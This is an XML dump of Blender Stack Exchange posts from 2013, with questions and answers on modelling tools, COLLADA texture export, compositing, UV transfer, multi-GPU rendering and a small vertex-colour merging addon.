  <row Id="4901" PostTypeId="2" ParentId="4785" CreationDate="2013-11-15T19:43:14.730" Score="3" Body="&lt;p&gt;For your specific problem, modeling as described above is probably the best solution. However, there is some nice new functionality in Blender which should not be kept secret...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender has just gotten a &quot;Slice the top&quot; function. It's called &quot;Bisect&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode (&lt;kbd&gt;Tab&lt;/kbd&gt;) do the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select all faces with &lt;kbd&gt;A&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Space&lt;/kbd&gt;&lt;em&gt;&gt; Search&lt;/em&gt; and enter &quot;Bisect&quot; in the search field that appears, or press the &lt;em&gt;Bisect&lt;/em&gt; button in &lt;em&gt;3D view &gt; Tool shelf&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Draw the bisection line.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the tool side panel (the left one in the 3D view, which you can toggle via &lt;kbd&gt;T&lt;/kbd&gt;), check &quot;Fill&quot; and &quot;Clear Inner&quot; (or &quot;clear outer&quot;), and you have cut a slice away.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/krypT.jpg&quot; alt=&quot;The tool options for bisect&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For better precision, enter numerical values (for example &lt;em&gt;Plane Normal&lt;/em&gt; xyz = &lt;code&gt;0.0&lt;/code&gt;, &lt;code&gt;0.0&lt;/code&gt;, &lt;code&gt;1.0&lt;/code&gt; will give you a horizontal cutting plane.)&lt;/p&gt;&#xA;" OwnerUserId="1583" LastEditorUserId="599" LastEditDate="2013-11-15T20:31:04.273" LastActivityDate="2013-11-15T20:31:04.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4902" PostTypeId="1" CreationDate="2013-11-15T19:54:55.033" Score="2" ViewCount="767" Body="&lt;p&gt;I need a Blender export format that handles materials with multiple diffuse textures in it. Specifically, I want to export a mesh with a single material and two diffuse textures and a single stencil map. The blender COLLADA exporter appears to ignore two out of the three textures in my material. All three are referenced in the export file as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;library_images&amp;gt;&#xA;   &amp;lt;image id=&quot;Grass_1_png&quot; name=&quot;Grass_1_png&quot;&amp;gt;&#xA;     &amp;lt;init_from&amp;gt;Grass_1.png&amp;lt;/init_from&amp;gt;&#xA;   &amp;lt;/image&amp;gt;&#xA;   &amp;lt;image id=&quot;stencilmap&quot; name=&quot;stencilmap&quot;&amp;gt;&#xA;     &amp;lt;init_from&amp;gt;stencilmap.png&amp;lt;/init_from&amp;gt;&#xA;   &amp;lt;/image&amp;gt;&#xA;   &amp;lt;image id=&quot;BlueMarbleSlabs_png&quot; name=&quot;BlueMarbleSlabs_png&quot;&amp;gt;&#xA;     &amp;lt;init_from&amp;gt;BlueMarbleSlabs.png&amp;lt;/init_from&amp;gt;&#xA;   &amp;lt;/image&amp;gt;&#xA;&amp;lt;/library_images&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However the library effect diffuse component only references the last texture in the material texture stack:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;diffuse&amp;gt;&#xA;    &amp;lt;texture texture=&quot;BlueMarbleSlabs_png-sampler&quot; texcoord=&quot;UVMap&quot;/&amp;gt;&#xA;&amp;lt;/diffuse&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this is a limitation of the COLLADA exporter? If this is the case then I'll need to modify the Assimp COLLADA loader for my purposes. Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="12" LastEditDate="2013-11-15T21:30:44.153" LastActivityDate="2016-08-05T11:45:34.600" Title="Exporting a material with multiple diffuse textures in COLLADA format" Tags="&lt;export&gt;&lt;collada&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4903" PostTypeId="2" ParentId="4897" CreationDate="2013-11-15T21:01:19.393" Score="1" Body="&lt;p&gt;I think the way to do this is as you said: low bounces, no caustics, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can bring the already rendered image sequences into the compositor with the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Composite_Nodes/Types/Input#Image_node&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;image&lt;/em&gt;&lt;/a&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an image node (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Input &gt; Image&lt;/em&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the first frame of your image sequence in the image node&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Change the source type to &lt;em&gt;Image Sequence&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ByVK0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set the &lt;em&gt;Frames&lt;/em&gt;, &lt;em&gt;Offset&lt;/em&gt; and &lt;em&gt;Start frame&lt;/em&gt; values.  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;Frames&lt;/em&gt; is the number of frames to use.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Start frame&lt;/em&gt; is the scene frame on which to display the first frame&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Offset&lt;/em&gt; is the amount to offset the current frame. (e.g. with &lt;em&gt;Offset&lt;/em&gt; = &lt;code&gt;5&lt;/code&gt;, the image for frame 6 will be read instead of the image for frame 1)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can load your sequence of &lt;em&gt;Multilayer&lt;/em&gt; images alongside your original render into the compositor in this fashion. If you rendered the &lt;em&gt;Multilayer&lt;/em&gt; images with the render passes enabled you should be able to use the passes from the &lt;em&gt;Image&lt;/em&gt; node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use this alongside the &lt;em&gt;Renderlayer&lt;/em&gt; node to composite with the render directly, e.g. with a &lt;code&gt;150&lt;/code&gt; frame image sequence:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DrxLV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-19T22:54:39.153" LastActivityDate="2013-11-19T22:54:39.153" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4904" PostTypeId="2" ParentId="4898" CreationDate="2013-11-15T21:41:40.017" Score="3" Body="&lt;h1&gt;Blender internal:&lt;/h1&gt;&#xA;&lt;p&gt;You could try the &lt;a href=&quot;http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/Object/Cloud_Gen&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Cloud Generator addon&lt;/em&gt;&lt;/a&gt;. This is good for making 3D volumetric clouds, but note that it will only work for BI, as cycles does not yet have volumetric rendering.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the &lt;em&gt;Cloud generator addon&lt;/em&gt; in &lt;em&gt;User preferences &amp;gt; Addons&lt;/em&gt;. This addon is bundled with blender by default, so it should be in the list:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dyPol.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a bounding shape for your cloud, then press &lt;em&gt;Generate cloud&lt;/em&gt; in &lt;em&gt;3D view &amp;gt; Tool Shelf (&lt;kbd&gt;T&lt;/kbd&gt;) &amp;gt; Cloud generator&lt;/em&gt; with it selected:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/71Qfr.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This will create a point cloud for the cloud and setup the volume materials.&lt;/p&gt;&#xA;&lt;p&gt;For more info take a look at &lt;a href=&quot;https://vimeo.com/17142380&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial on blender cookie&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Cycles:&lt;/h1&gt;&#xA;&lt;p&gt;Because cycles does not yet have volumetrics, you will have to fake it.&#xA;Here are some options:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Render the clouds in BI and mix in the compositor&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a transparent plane with an image texture (may look okay when seen from a distance)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Related questions:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/934/volumetric-shading-in-cycles&quot;&gt;Volumetric Shading in Cycles&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/2549/creating-volumetric-lighting-crepuscular-rays-in-cycles&quot;&gt;Creating volumetric lighting (crepuscular rays) in Cycles&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/924/smoke-in-cycles/927#927&quot;&gt;Rendering smoke in Cycles?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-11-21T23:00:11.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4905" PostTypeId="1" AcceptedAnswerId="4908" CreationDate="2013-11-16T00:55:17.727" Score="4" ViewCount="658" Body="&lt;p&gt;Is there a mouselook script that's exactly the same as the classic one except it moves left and right, not up and down. If there isn't one then can you show a property hook script that enables/disables up and down rotation.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2013-11-16T10:33:45.770" Title="A different kind of mouselook script?" Tags="&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4907" PostTypeId="1" AcceptedAnswerId="4917" CreationDate="2013-11-16T07:13:02.977" Score="26" ViewCount="7213" Body="&lt;p&gt;For example on tree branches like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://upload.wikimedia.org/wikipedia/commons/d/d6/CathedralofLearningLawinWinter.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/thumb/d/d6/CathedralofLearningLawinWinter.jpg/640px-CathedralofLearningLawinWinter.jpg&quot; alt=&quot;&quot; title=&quot;Click for full size&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Image from &lt;a href=&quot;http://en.wikipedia.org/wiki/File:CathedralofLearningLawinWinter.jpg&quot; rel=&quot;noreferrer&quot;&gt;Wikimedia commons&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.050" LastActivityDate="2013-11-17T03:04:12.457" Title="How to create piles of snow on a mesh?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="20" ContentLicense="CC BY-SA 3.0" />
  <row Id="4908" PostTypeId="2" ParentId="4905" CreationDate="2013-11-16T10:33:45.770" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;http://riyuzakisan.weebly.com/mousemove-script.html#toc&quot; rel=&quot;nofollow noreferrer&quot;&gt;mouse move script&lt;/a&gt; allows cutomization. In order to restrict up/down rotation you could add the properties as shown in the image. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oAU7Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2013-11-16T10:33:45.770" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4909" PostTypeId="2" ParentId="4896" CreationDate="2013-11-16T10:47:56.800" Score="3" Body="&lt;p&gt;Add a Texture Coordinates node, and possibly a vector Mapping node and feeding that into your scripts Vector input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bT193.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even for generated coordinates I've seen better results using a texture input and mapping node for vector input over default coordinates received within osl scripts.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2013-11-16T10:47:56.800" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4910" PostTypeId="1" AcceptedAnswerId="4914" CreationDate="2013-11-16T10:52:42.043" Score="7" ViewCount="1650" Body="&lt;p&gt;The problem is quite simple, I have a static character, which is not rigged, this one is fully unwrapped and textured.&#xA;Next to it, I have as well, the same mesh, this time rigged and animated, but uvs aren't done yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I would like to simply do, is to apply uvs from my static mesh to the one animated, as they are the same, that should work whitout any problem. (Although I mostly use this only on statics meshes usually, first time I try with an animated mesh and that doesn't work).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I use CTRL+L (the join uvs function in fact). When I open the uvs of my animated mesh, they look good, well unwrapped, but on my model, the texture seems totaly messed up, not applied correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know the answer of that question ? The best solution ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZMiws.jpg&quot; alt=&quot;UVS copied displayed oddly in viewport&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Another test with CTRL + L =&gt; OBJECT DATA, this time the mesh has the texture applied well, but gets deformed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT2: I just would like to mention also this. To be sure it doesn't come from these manipulations. In fact, at first, I received the animated mesh, but the uvs were not done, so what I did, is I applied the armature of this animated mesh, which was mirrored, to get a static mesh. From that mesh, I started to create the uvs. But, I deleted the half of the mesh, to work on my uvs, and then, once the uvs were done, I applied again a mirror modifier, this way I could save some uvs space (as you can seen on the screengrab below).. Do you think the fact I can't copy my uvs to the animated mesh could come from these manipulations I had done previously !?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xdsSR.jpg&quot; alt=&quot;OBJECT Data copied, mesh gets d&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="892" LastEditorUserId="892" LastEditDate="2013-11-16T12:29:40.203" LastActivityDate="2013-11-16T12:44:48.370" Title="How to transfer uvs from static mesh to the same rigged and animated mesh" Tags="&lt;mesh&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4911" PostTypeId="2" ParentId="4910" CreationDate="2013-11-16T11:02:19.367" Score="4" Body="&lt;p&gt;Select the object you want to copy UV map to, then the source object. Execute &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;L&lt;/kbd&gt; &gt; &lt;strong&gt;Transfer UV Layouts&lt;/strong&gt;. If you're using an older version of Blender, it's in &lt;strong&gt;UV Maps&lt;/strong&gt; property group's dropdown button. This will work flawlessly only if both are exactly the same, no vertices/edges added or removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/T5Pzp.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You still need to edit the destination object's texture to &lt;em&gt;use the right UV map&lt;/em&gt;, afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; In your case, it seems like both character meshes are attached to different image files. Two identical objects can have identical UV maps, material and texture, but &lt;em&gt;look different in the viewport&lt;/em&gt; because they're attached to different image files:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0FqiP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this, make sure the image file being displayed on Image Editor is the same, when both objects are edited. This doesn't affect how they're rendered, though.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-11-16T12:15:44.467" LastActivityDate="2013-11-16T12:15:44.467" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4912" PostTypeId="1" CreationDate="2013-11-16T11:33:06.600" Score="5" ViewCount="1407" Body="&lt;p&gt;I have two Nvidia GPUs and they work fine in normal rendering (when I press F12, both are working).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in viewport, when I select &quot;Rendered&quot; as a viewport shading mode, only one is used. Is it possible to use both of them in viewport?&lt;/p&gt;&#xA;" OwnerUserId="1621" LastActivityDate="2013-11-16T12:36:12.120" Title="Is it possible to use two GPUs in viewport rendered preview, and not only for final render?" Tags="&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4913" PostTypeId="2" ParentId="4912" CreationDate="2013-11-16T12:36:12.120" Score="5" Body="&lt;p&gt;Yes. Open &lt;em&gt;User Preferences&lt;/em&gt; and go to the &lt;em&gt;System&lt;/em&gt; tab. Under &lt;em&gt;Compute Device&lt;/em&gt;, select &lt;em&gt;CUDA&lt;/em&gt; and multiple gpus (&lt;em&gt;should be the one with (2x)&lt;/em&gt;). Next in the &lt;em&gt;Render&lt;/em&gt; context, make sure that &lt;em&gt;Device&lt;/em&gt; is set to &lt;em&gt;GPU&lt;/em&gt;. It should now use both for rendering in the viewport.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-11-16T12:36:12.120" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4914" PostTypeId="2" ParentId="4910" CreationDate="2013-11-16T12:44:48.370" Score="2" Body="&lt;p&gt;thanks for your help, but after some hours looking for a solution, It seems, It's now working corretly. It seems I've found a way to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I've just done it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) I deleted the half of the animated and rigged character (I left the skeleton, I just deleted the faces once again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2)I deleted as well the half of the static mesh which has overlapped uvs (as a mirror had been applied just after I had done the uvs on the hald of the mesh, uvs were still good).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) I copied the uvs from my static mesh, to the destination object (the animated character) =&gt; CTRL+L -&gt; transfer uvs LAYOUT, and magic, it works !!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't fully understand why this way it works, but maybe It's related to the fact my uvs were at first overlapped...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I was enough clear... Thanks once again for the time you put to fix my prob :) !&lt;/p&gt;&#xA;" OwnerUserId="892" LastActivityDate="2013-11-16T12:44:48.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4915" PostTypeId="2" ParentId="4899" CreationDate="2013-11-16T13:44:07.440" Score="4" Body="&lt;p&gt;I used the &lt;a href=&quot;https://blender.stackexchange.com/questions/4899/can-i-copy-uv-map-to-many-objects-with-the-same-and-or-symmetrical-topology#comment7691_4899&quot;&gt;suggestion given by gandalf3&lt;/a&gt; and made it all work for my case. Here is the procedure:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I have 14 shoes objects with identical broken UV, 7 of them are mirrored (using &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; mesh mirroring).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I fix UV on one of the shoes&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I go to its mirrored version of the fixed shoe, &lt;strong&gt;flip normals&lt;/strong&gt; and then use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; &lt;em&gt;-&gt; Transfer UV layouts&lt;/em&gt;. (If I do not flip normals transfer does not work right and resulting texture is a mess).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I flip normals on the mirrored object again. At this point one size of the shoes has right texture with correct UV map for both mirrored and not mirrored mesh.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I use mirrored mesh to transfer to all 7 mirrored sizes  by selecting all mirrored objects and selecting last the mirrored object with corrected UV and using &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt; &lt;em&gt;-&gt; Transfer UV layouts&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat the same procedure for not mirrored 7 sizes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:41.900" LastActivityDate="2013-11-16T17:12:07.370" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4916" PostTypeId="2" ParentId="4856" CreationDate="2013-11-16T14:47:00.160" Score="0" Body="&lt;p&gt;After the conversation with Mayqel I decided to roll my own Addon for this problem.&#xA;Here is the Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;&quot;name&quot; : &quot;Vertex Paint Merger&quot;,&#xA;&quot;description&quot; : &quot;Merges differing colors per face on one vertex into one&quot;,&#xA;&quot;author&quot; : &quot;Nobody&quot;,&#xA;&quot;version&quot; : (1, 0),&#xA;&quot;category&quot; : &quot;Mesh&quot;&#xA;}&#xA;&#xA;import bpy&#xA;from mathutils import Color&#xA;&#xA;def mapColorsToOne(colors):&#xA;    if colors:&#xA;        return sum(colors, Color()) / len(colors)&#xA;    else:&#xA;        return Color()&#xA;&#xA;&#xA;class MergeVertexColors(bpy.types.Operator):&#xA;    bl_idname = &quot;object.merge_vertex_colors&quot;&#xA;    bl_label = &quot;Merge Vertex Colors&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    def execute(self, context):&#xA;        scene = context.scene&#xA;        for obj in scene.objects:&#xA;            #only work on meshes&#xA;            if obj != None and obj.type == 'MESH':&#xA;                me = obj.data&#xA;                #skip meshes without vertex colors&#xA;                if 'Col' in me.vertex_colors:&#xA;                    print(me) &#xA;                    vColors = me.vertex_colors['Col'].data&#xA;                    colors = [[] for i in range(len(me.vertices))]&#xA;                    #gather the loops' colors on vertices&#xA;                    for loop in me.loops:&#xA;                            colors[loop.vertex_index].append(vColors[loop.index].color)&#xA;                    #average the colors&#xA;                    colors = list(map(mapColorsToOne, colors))&#xA;                    #distribute the new color to all participating loops&#xA;                    for loop in me.loops:&#xA;                        if me.vertices[loop.vertex_index].select:&#xA;                            vColors[loop.index].color = colors[loop.vertex_index]&#xA;                    me.update()&#xA;        return {'FINISHED'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(MergeVertexColors)&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(MergeVertexColors)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All it does is accumulate all colors that are registered for one vertex and then call &lt;code&gt;mapColorsToOne&lt;/code&gt; with a list of all those colors and stores the result on the vertex. Currently the average is used but basically anything that maps the input colors to one output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This transformation is only applied to selected vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function can be found under &quot;Merge Vertex Colors&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1603" LastActivityDate="2013-11-16T14:47:00.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4917" PostTypeId="2" ParentId="4907" CreationDate="2013-11-16T15:19:23.743" Score="44" Body="&lt;p&gt;There is no doubt that the best result can be generated by using Particle or Physics system, which is a bit complicated to talk about in a few words. A quick-and-dirty way is shown as below:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Switch Transformation Orientation to &lt;strong&gt;Normal&lt;/strong&gt;, try to find and select a single vertex which Z axis towards up (or nearly up). Press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt; to select nearly all possible upward vertices by tweaking a reasonable Threshold value, as shown in Figure 1 and 2.&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; to duplicate the selection, then &lt;kbd&gt;P&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt; to separate it as a new mesh. Now you can freely tweak it with a few modifiers to make a nice pile-looking snow cover, particularly with the Displace modifier. As shown in Figure 3.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q6cck.png&quot; alt=&quot;Figure 1&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/oZry4.png&quot; alt=&quot;Figure 2&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nab3u.png&quot; alt=&quot;Figure 3&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2013-11-17T03:04:12.457" LastActivityDate="2013-11-17T03:04:12.457" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4918" PostTypeId="1" AcceptedAnswerId="4945" CreationDate="2013-11-16T18:21:10.977" Score="1" ViewCount="4209" Body="&lt;p&gt;I have created two objects: plane and polygon. Then i joined them together to new mesh. For that new mesh i created a texture. Texture is shown in texture view, but not in cycles render completly. Only one object displays the texture but not the rest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Picture is here:   &lt;img src=&quot;https://i.stack.imgur.com/M9bH1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that a bug? Perhaps i made something wrong.&lt;/p&gt;&#xA;" OwnerUserId="1623" LastActivityDate="2013-11-17T21:53:57.193" Title="blender 2.69: Texture is not shown correctly" Tags="&lt;cycles-render-engine&gt;&lt;texture-painting&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4919" PostTypeId="1" AcceptedAnswerId="7727" CreationDate="2013-11-16T19:45:46.900" Score="1" ViewCount="997" Body="&lt;p&gt;I know you can lock rotation, but not in-game. Is there a python for it, or a special edit or something. Please explain. Please be specific. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2014-03-12T21:37:14.740" Title="Lock rotation help" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="0" ClosedDate="2014-03-13T09:34:05.513" ContentLicense="CC BY-SA 3.0" />
  <row Id="4920" PostTypeId="2" ParentId="4918" CreationDate="2013-11-16T20:00:17.413" Score="-1" Body="&lt;p&gt;Be sure to check these points:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove doubles.&#xA;Recalculate normals.&#xA;UV Unwrap mesh (both meshes).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had some problems with scale, so try to apply scale (Ctrl + A)&lt;/p&gt;&#xA;" OwnerUserId="1602" LastActivityDate="2013-11-16T20:00:17.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
